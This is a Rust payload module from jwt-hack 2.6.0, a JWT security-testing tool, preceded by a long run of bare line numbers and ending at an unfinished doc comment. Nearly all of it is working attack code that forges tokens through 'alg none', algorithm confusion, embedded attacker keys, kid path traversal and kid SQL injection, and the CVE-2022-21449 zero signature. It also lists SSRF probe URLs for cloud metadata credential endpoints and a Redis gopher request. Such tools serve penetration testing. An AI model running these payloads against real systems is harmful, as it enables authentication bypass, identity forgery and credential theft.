jwt-hack 2.6.0

Hack the JWT (JSON Web Token) - A tool for JWT security testing and token manipulation
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
// Payload module for JWT attack payloads
use anyhow::Result;
use base64::{engine::general_purpose, Engine};
use log::info;
use serde_json::json;
use zeroize::Zeroize;

/// Extract the claims (second) part from a JWT token string
fn extract_claims_part(token: &str) -> Result<&str> {
    let parts: Vec<&str> = token.split('.').collect();
    if parts.len() < 2 {
        return Err(anyhow::anyhow!("Invalid token format"));
    }
    Ok(parts[1])
}

/// Encode a JSON header and combine with claims part into a JWT-like string
fn encode_header_with_claims(header: &serde_json::Value, claims_part: &str) -> Result<String> {
    let header_json = serde_json::to_string(header)?;
    let encoded_header = general_purpose::URL_SAFE_NO_PAD.encode(header_json.as_bytes());
    Ok(format!("{encoded_header}.{claims_part}"))
}

/// Build a header.payload signing input from a header JSON value and an existing claims part.
fn build_signing_input(header: &serde_json::Value, claims_part: &str) -> Result<String> {
    let header_json = serde_json::to_string(header)?;
    let encoded_header = general_purpose::URL_SAFE_NO_PAD.encode(header_json.as_bytes());
    Ok(format!("{encoded_header}.{claims_part}"))
}

/// Sign an arbitrary signing input with HS256 and return a JWT-formatted token (header.payload.sig).
fn sign_hs256(input: &str, secret: &[u8]) -> String {
    let mut mac = hmac_sha256::HMAC::mac(input.as_bytes(), secret);
    let sig_b64 = general_purpose::URL_SAFE_NO_PAD.encode(mac.as_slice());
    mac.zeroize();
    format!("{input}.{sig_b64}")
}

/// Read the original `alg` value from a JWT header (without verifying anything).
fn original_alg(token: &str) -> Option<String> {
    let parts: Vec<&str> = token.split('.').collect();
    let header_b64 = parts.first()?;
    let header_bytes = general_purpose::URL_SAFE_NO_PAD.decode(header_b64).ok()?;
    let header_json: serde_json::Value = serde_json::from_slice(&header_bytes).ok()?;
    header_json
        .get("alg")
        .and_then(|v| v.as_str())
        .map(|s| s.to_string())
}

/// Generate none algorithm payloads
pub fn generate_none_payload(token: &str, alg_value: &str) -> Result<String> {
    let claims_part = extract_claims_part(token)?;

    let header = json!({
        "alg": alg_value,
        "typ": "JWT"
    });

    info!(
        "Generate {alg_value} payload header=\"{}\" payload={alg_value}",
        serde_json::to_string(&header)?
    );

    encode_header_with_claims(&header, claims_part)
}

/// Generate JKU and X5U payloads for URL manipulation attacks
pub fn generate_url_payload(
    token: &str,
    key_type: &str,
    domain: &str,
    trust_domain: Option<&str>,
    protocol: &str,
) -> Result<Vec<String>> {
    let mut payloads = Vec::new();
    let claims_part = extract_claims_part(token)?;

    // Basic payload
    let header = json!({
        "alg": "hs256",
        key_type: domain,
        "typ": "JWT"
    });
    info!(
        "Generate {key_type} + basic payload header=\"{}\" payload={key_type}",
        serde_json::to_string(&header)?
    );
    payloads.push(encode_header_with_claims(&header, claims_part)?);

    // If trust domain is provided, generate bypass payloads
    if let Some(trust_domain) = trust_domain {
        let bypass_urls = [
            format!("{}://{}{}{}", protocol, trust_domain, "Z", domain),
            format!("{protocol}://{trust_domain}@{domain}"),
            format!("{protocol}://{trust_domain}%0d%0aHost: {domain}"),
        ];

        for url in &bypass_urls {
            let header = json!({
                "alg": "hs256",
                key_type: url,
                "typ": "JWT"
            });
            info!(
                "Generate {key_type} bypass payload header=\"{}\" payload={key_type}",
                serde_json::to_string(&header)?
            );
            payloads.push(encode_header_with_claims(&header, claims_part)?);
        }
    }

    Ok(payloads)
}

/// Generate algorithm confusion attacks.
///
/// For asymmetric source algorithms (RS*, PS*, ES*, EdDSA) emits a set of header
/// variants that downgrade to the matching HMAC family plus a `none` downgrade.
/// If a PEM-encoded public key is provided, additionally produces a fully signed
/// HMAC token where the **public key bytes are used as the HMAC secret** — the
/// canonical real-world RS256→HS256 attack. Without the key, the HMAC variants
/// are emitted unsigned (header.payload only) so callers can re-sign once they
/// recover the server's public key.
pub fn generate_alg_confusion_payload(
    token: &str,
    public_key: Option<&str>,
) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;

    let source_alg = original_alg(token).unwrap_or_else(|| "RS256".to_string());
    let source_upper = source_alg.to_uppercase();

    // Pick target HMAC algorithm matching the source's hash size.
    let hmac_target = match source_upper.as_str() {
        "RS384" | "PS384" | "ES384" => "HS384",
        "RS512" | "PS512" | "ES512" => "HS512",
        // RS256 / PS256 / ES256 / EdDSA / unknown — default to HS256
        _ => "HS256",
    };

    let mut payloads = Vec::new();

    // HMAC downgrade variant: signed with public-key bytes if provided, else
    // emitted unsigned (header.payload only).
    let hmac_header = json!({ "alg": hmac_target, "typ": "JWT" });
    match public_key {
        Some(pem) => {
            let input = build_signing_input(&hmac_header, claims_part)?;
            let sig_b64 = match hmac_target {
                "HS256" => {
                    let mut m = hmac_sha256::HMAC::mac(input.as_bytes(), pem.as_bytes());
                    let out = general_purpose::URL_SAFE_NO_PAD.encode(m.as_slice());
                    m.zeroize();
                    out
                }
                other => {
                    let algo = match other {
                        "HS384" => jsonwebtoken::Algorithm::HS384,
                        _ => jsonwebtoken::Algorithm::HS512,
                    };
                    let key = jsonwebtoken::EncodingKey::from_secret(pem.as_bytes());
                    // jsonwebtoken returns the base64url-encoded signature directly.
                    jsonwebtoken::crypto::sign(input.as_bytes(), &key, algo)?
                }
            };
            payloads.push(format!("{input}.{sig_b64}"));
        }
        None => {
            payloads.push(encode_header_with_claims(&hmac_header, claims_part)?);
        }
    }

    // `none` downgrade — never signed regardless of public_key.
    let none_header = json!({ "alg": "none", "typ": "JWT" });
    payloads.push(encode_header_with_claims(&none_header, claims_part)?);

    info!(
        "Generated algorithm confusion payloads: {} -> {} (+none)",
        source_upper, hmac_target
    );

    Ok(payloads)
}

/// Generate a JWT with an attacker-controlled key embedded in the `jwk` header.
///
/// Some libraries trust a JWK supplied directly in the JOSE header as the
/// verification key. This generates a fresh RSA-2048 key pair, embeds the
/// public key as a JWK in the header, and signs the token with the matching
/// private key — producing a fully verifiable attack token.
pub fn generate_jwk_embed_payload(token: &str) -> Result<String> {
    use rsa::pkcs8::EncodePrivateKey;
    use rsa::traits::PublicKeyParts;
    use rsa::RsaPrivateKey;

    let claims_part = extract_claims_part(token)?;

    let mut rng = rsa::rand_core::OsRng;
    let private_key = RsaPrivateKey::new(&mut rng, 2048)
        .map_err(|e| anyhow::anyhow!("Failed to generate RSA key: {}", e))?;
    let public_key = private_key.to_public_key();

    let n_b64 = general_purpose::URL_SAFE_NO_PAD.encode(public_key.n().to_bytes_be());
    let e_b64 = general_purpose::URL_SAFE_NO_PAD.encode(public_key.e().to_bytes_be());

    let kid = "jwt-hack-injected";
    let jwk = json!({
        "kty": "RSA",
        "use": "sig",
        "alg": "RS256",
        "kid": kid,
        "n": n_b64,
        "e": e_b64,
    });

    let header = json!({
        "alg": "RS256",
        "typ": "JWT",
        "kid": kid,
        "jwk": jwk,
    });

    let input = build_signing_input(&header, claims_part)?;
    let pem = private_key
        .to_pkcs8_pem(rsa::pkcs8::LineEnding::LF)
        .map_err(|e| anyhow::anyhow!("Failed to export private key: {}", e))?
        .to_string();
    let key = jsonwebtoken::EncodingKey::from_rsa_pem(pem.as_bytes())?;
    let sig_b64 =
        jsonwebtoken::crypto::sign(input.as_bytes(), &key, jsonwebtoken::Algorithm::RS256)?;

    info!("Generated jwk-embedded RS256 payload (signed with embedded key)");

    Ok(format!("{input}.{sig_b64}"))
}

/// Generate kid header path-traversal / file-substitution payloads.
///
/// When a server resolves the `kid` value as a file path to load a key, an
/// attacker can substitute a file with known contents (empty for `/dev/null`,
/// or a predictable file) and forge a valid HMAC signature using those bytes
/// as the secret. Each payload is fully signed against the substituted "key".
pub fn generate_kid_traversal_payload(token: &str) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;

    // (kid value, secret bytes the server would load when resolving it)
    let cases: &[(&str, &[u8])] = &[
        ("/dev/null", b""),
        ("../../../../../../dev/null", b""),
        ("..\\..\\..\\..\\..\\dev\\null", b""),
        ("file:///dev/null", b""),
        ("/var/empty/null", b""),
        // Plain read-attempts — sig won't verify but exposes path-traversal/LFI behavior
        ("../../../../../../etc/passwd", b""),
        ("/etc/passwd", b""),
        // Null-byte truncation hint
        ("legit-key\x00../../../dev/null", b""),
    ];

    let mut payloads = Vec::with_capacity(cases.len());
    for (kid, secret) in cases {
        let header = json!({
            "alg": "HS256",
            "typ": "JWT",
            "kid": kid,
        });
        let input = build_signing_input(&header, claims_part)?;
        payloads.push(sign_hs256(&input, secret));
    }

    info!("Generated kid path-traversal payloads (signed with empty secret)");
    Ok(payloads)
}

/// Generate `crit` header bypass payloads.
///
/// RFC 7515 §4.1.11 requires implementations to reject tokens with unrecognised
/// `crit` parameters. Libraries that ignore the rule can be tricked into
/// honouring unknown headers (or skipping signature checks).
pub fn generate_crit_payload(token: &str) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;

    let variants: Vec<serde_json::Value> = vec![
        json!({ "alg": "HS256", "typ": "JWT", "crit": ["b64"], "b64": false }),
        json!({ "alg": "HS256", "typ": "JWT", "crit": ["x-custom"], "x-custom": "bypass" }),
        json!({ "alg": "none", "typ": "JWT", "crit": ["alg"] }),
        // Empty crit — some libs misparse and skip signature validation
        json!({ "alg": "HS256", "typ": "JWT", "crit": [] }),
    ];

    let mut payloads = Vec::with_capacity(variants.len());
    for header in variants {
        payloads.push(encode_header_with_claims(&header, claims_part)?);
    }
    info!("Generated crit header bypass payloads");
    Ok(payloads)
}

/// Generate RFC 7797 unencoded payload (`b64: false`) attack payloads.
pub fn generate_b64_payload(token: &str) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;

    let variants: Vec<serde_json::Value> = vec![
        json!({ "alg": "HS256", "typ": "JWT", "b64": false, "crit": ["b64"] }),
        json!({ "alg": "RS256", "typ": "JWT", "b64": false, "crit": ["b64"] }),
        // b64=false without crit — many libs silently honour it
        json!({ "alg": "HS256", "typ": "JWT", "b64": false }),
    ];

    let mut payloads = Vec::with_capacity(variants.len());
    for header in variants {
        payloads.push(encode_header_with_claims(&header, claims_part)?);
    }
    info!("Generated b64 (RFC 7797) bypass payloads");
    Ok(payloads)
}

/// Generate signature-stripped / empty-signature payloads.
///
/// Some libraries treat an empty third segment as a valid signature when the
/// algorithm is not explicitly `none`. The original header is preserved so
/// the server still sees its expected `alg`.
pub fn generate_empty_sig_payload(token: &str) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;
    let header_b64 = token.split('.').next().unwrap_or("");

    let payloads = vec![
        // Empty signature segment
        format!("{header_b64}.{claims_part}."),
        // No third segment at all
        format!("{header_b64}.{claims_part}"),
        // Literal "null" — some JSON-aware parsers accept
        format!("{header_b64}.{claims_part}.null"),
    ];
    info!("Generated signature-stripped payloads");
    Ok(payloads)
}

/// Generate kid header SQL injection payloads
pub fn generate_kid_sql_payload(token: &str) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;

    let sql_injection_patterns = [
        "' OR '1'='1",
        "' OR '1'='1' --",
        "' UNION SELECT 'secret-key' --",
        "' OR 1=1 #",
        "' OR 1=1 -- -",
        "x' UNION SELECT 'key",
        "key-0",
    ];

    let payloads: Result<Vec<String>> = sql_injection_patterns
        .iter()
        .map(|pattern| {
            let header = json!({
                "alg": "HS256",
                "typ": "JWT",
                "kid": pattern
            });
            encode_header_with_claims(&header, claims_part)
        })
        .collect();

    info!("Generated kid SQL injection payloads");

    payloads
}

/// Generate x5c header injection payloads
pub fn generate_x5c_payload(token: &str) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;

    let sample_certificates = [
        vec!["MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA"],
        vec![
            "MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA",
            "MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA2",
        ],
    ];

    let payloads: Result<Vec<String>> = sample_certificates
        .iter()
        .map(|cert_chain| {
            let header = json!({
                "alg": "RS256",
                "typ": "JWT",
                "x5c": cert_chain
            });
            encode_header_with_claims(&header, claims_part)
        })
        .collect();

    info!("Generated x5c header injection payloads");

    payloads
}

/// Generate cty header manipulation payloads
pub fn generate_cty_payload(token: &str) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;

    let content_types = [
        "text/xml",
        "application/xml",
        "application/x-java-serialized-object",
        "application/json+x-jackson-smile",
    ];

    let payloads: Result<Vec<String>> = content_types
        .iter()
        .map(|cty| {
            let header = json!({
                "alg": "HS256",
                "typ": "JWT",
                "cty": cty
            });
            encode_header_with_claims(&header, claims_part)
        })
        .collect();

    info!("Generated cty header manipulation payloads");

    payloads
}

/// Generate a JWT with a self-signed X.509 chain embedded in the `x5c` header.
///
/// Mirrors [`generate_jwk_embed_payload`] but uses the `x5c` certificate chain
/// instead of a `jwk`. Generates a fresh RSA-2048 key pair, builds a minimal
/// self-signed certificate, embeds its DER in `x5c` (base64 — *not* base64url —
/// per RFC 7515 §4.1.6), and signs the token with the matching private key.
/// Libraries that derive the verification key from `x5c[0]` will validate it.
pub fn generate_x5c_signed_payload(token: &str) -> Result<String> {
    use openssl::asn1::Asn1Time;
    use openssl::bn::BigNum;
    use openssl::hash::MessageDigest;
    use openssl::pkey::PKey;
    use openssl::rsa::Rsa;
    use openssl::x509::{X509Builder, X509NameBuilder};

    let claims_part = extract_claims_part(token)?;

    let rsa = Rsa::generate(2048).map_err(|e| anyhow::anyhow!("RSA gen failed: {e}"))?;
    let pkey = PKey::from_rsa(rsa).map_err(|e| anyhow::anyhow!("PKey from RSA failed: {e}"))?;

    let mut name = X509NameBuilder::new()?;
    name.append_entry_by_text("CN", "jwt-hack-injected")?;
    let name = name.build();

    let mut builder = X509Builder::new()?;
    builder.set_version(2)?;
    let serial = BigNum::from_u32(1)?.to_asn1_integer()?;
    builder.set_serial_number(&serial)?;
    builder.set_subject_name(&name)?;
    builder.set_issuer_name(&name)?;
    builder.set_pubkey(&pkey)?;
    let not_before = Asn1Time::days_from_now(0)?;
    let not_after = Asn1Time::days_from_now(365)?;
    builder.set_not_before(&not_before)?;
    builder.set_not_after(&not_after)?;
    builder.sign(&pkey, MessageDigest::sha256())?;
    let cert = builder.build();
    let cert_der = cert.to_der()?;

    // RFC 7515 §4.1.6: x5c values are standard base64, not URL-safe base64.
    let cert_b64 = base64::engine::general_purpose::STANDARD.encode(&cert_der);

    let header = json!({
        "alg": "RS256",
        "typ": "JWT",
        "x5c": [cert_b64],
    });

    let input = build_signing_input(&header, claims_part)?;
    let pem = pkey
        .private_key_to_pem_pkcs8()
        .map_err(|e| anyhow::anyhow!("export private key: {e}"))?;
    let key = jsonwebtoken::EncodingKey::from_rsa_pem(&pem)?;
    let sig_b64 =
        jsonwebtoken::crypto::sign(input.as_bytes(), &key, jsonwebtoken::Algorithm::RS256)?;

    info!("Generated x5c self-signed certificate payload (signed)");
    Ok(format!("{input}.{sig_b64}"))
}

/// Generate ECDSA "psychic signature" payloads (CVE-2022-21449).
///
/// Java JDK 15–18 accepted ECDSA signatures with r=s=0. With those bytes in
/// the signature segment, the JVM's verifier returned `true` regardless of
/// the input. Emits ES256/ES384/ES512 variants — the signature is the
/// algorithm's expected length filled with NUL bytes.
pub fn generate_psychic_signature_payload(token: &str) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;

    // (alg, signature length in bytes)
    // ES256: r||s = 32+32, ES384: 48+48, ES512: 66+66 (P-521 component size).
    let variants = [("ES256", 64usize), ("ES384", 96), ("ES512", 132)];

    let mut payloads = Vec::with_capacity(variants.len());
    for (alg, sig_len) in variants {
        let header = json!({ "alg": alg, "typ": "JWT" });
        let input = build_signing_input(&header, claims_part)?;
        let zero_sig = vec![0u8; sig_len];
        let sig_b64 = general_purpose::URL_SAFE_NO_PAD.encode(&zero_sig);
        payloads.push(format!("{input}.{sig_b64}"));
    }
    info!("Generated psychic-signature (CVE-2022-21449) payloads");
    Ok(payloads)
}

/// Generate `typ` confusion header payloads.
///
/// Targets servers that key authorization decisions off `typ` (e.g. ID-token
/// vs access-token discrimination, OAuth 2.0 `at+jwt`). All variants are
/// header-only (header.payload, no signature) since the target server's
/// behaviour determines whether the variant is exploitable.
pub fn generate_typ_confusion_payload(token: &str) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;

    // (typ value, alg)
    let variants: &[(Option<&str>, &str)] = &[
        (None, "HS256"), // typ omitted entirely
        (Some("at+jwt"), "HS256"),
        (Some("JOSE"), "HS256"),
        (Some("JOSE+JSON"), "HS256"),
        (Some("application/jwt"), "HS256"),
        (Some("jwt"), "HS256"),         // lowercase
        (Some("JWT\u{0000}"), "HS256"), // trailing NUL
    ];

    let mut payloads = Vec::with_capacity(variants.len());
    for (typ, alg) in variants {
        let header = match typ {
            Some(t) => json!({ "alg": alg, "typ": t }),
            None => json!({ "alg": alg }),
        };
        payloads.push(encode_header_with_claims(&header, claims_part)?);
    }
    info!("Generated typ confusion payloads");
    Ok(payloads)
}

/// Generate `alg` edge-value header payloads.
///
/// Probes parser quirks: empty, null, whitespace-padded, mixed-case, array
/// forms. Each header is emitted unsigned (header.payload) because the
/// interesting behaviour is the parser's interpretation of `alg`.
pub fn generate_alg_edge_payload(token: &str) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;

    let variants: Vec<serde_json::Value> = vec![
        json!({ "alg": "",        "typ": "JWT" }),
        json!({ "alg": serde_json::Value::Null, "typ": "JWT" }),
        json!({ "alg": " HS256 ", "typ": "JWT" }),
        json!({ "alg": "\tHS256", "typ": "JWT" }),
        json!({ "alg": "hs256",   "typ": "JWT" }),
        json!({ "alg": "HS256\u{0000}", "typ": "JWT" }),
        // Array forms — some parsers cast to string-ish.
        json!({ "alg": ["none", "HS256"], "typ": "JWT" }),
        json!({ "alg": ["HS256"], "typ": "JWT" }),
    ];

    let mut payloads = Vec::with_capacity(variants.len());
    for header in variants {
        payloads.push(encode_header_with_claims(&header, claims_part)?);
    }
    info!("Generated alg edge-value payloads");
    Ok(payloads)
}

/// Built-in SSRF/internal-network probe URLs for jku/x5u attacks.
///
/// Useful when the server fetches the JWKS URL server-side — these probes
/// don't require a controlled attacker domain.
fn ssrf_probe_urls() -> &'static [&'static str] {
    &[
        // AWS IMDS v1
        "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
        // GCP metadata
        "http://metadata.google.internal/computeMetadata/v1/",
        // Azure IMDS
        "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
        // Loopback common services
        "http://127.0.0.1:6379/",
        "http://localhost:11211/",
        "http://127.0.0.1:80/",
        // Schemes
        "file:///etc/passwd",
        "gopher://127.0.0.1:6379/_INFO%0d%0a",
        // DNS rebind / shorthand
        "http://[::1]/",
        "http://0.0.0.0/",
    ]
}

/// Generate jku/x5u SSRF-probe payloads (no `--jwk-attack` required).
